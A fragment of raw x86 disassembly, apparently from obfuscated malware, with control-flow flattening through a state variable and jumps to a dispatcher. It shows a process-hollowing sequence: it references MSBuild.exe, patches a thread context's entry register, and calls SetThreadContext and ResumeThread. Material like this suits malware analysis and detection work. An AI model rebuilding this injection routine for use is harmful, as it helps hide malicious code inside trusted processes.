mov dword [ebp - 0x17c], 0x39ffae3b
jmp 0x10004ab0
mov eax, dword [ebp - 0x100]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x145], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x17c], 0xdea0bb06
jmp 0x10004ab0
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x17c], 0x681cff3b
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0xdf42c922
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0x826a33b6
jmp 0x10004ab0
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x17c], 0x52058abe
jmp 0x10004ab0
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x7c]
mov edx, dword [ebp - 0x78]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x17c], 0x88fca04f
jmp 0x10004ab0
jmp 0x10002460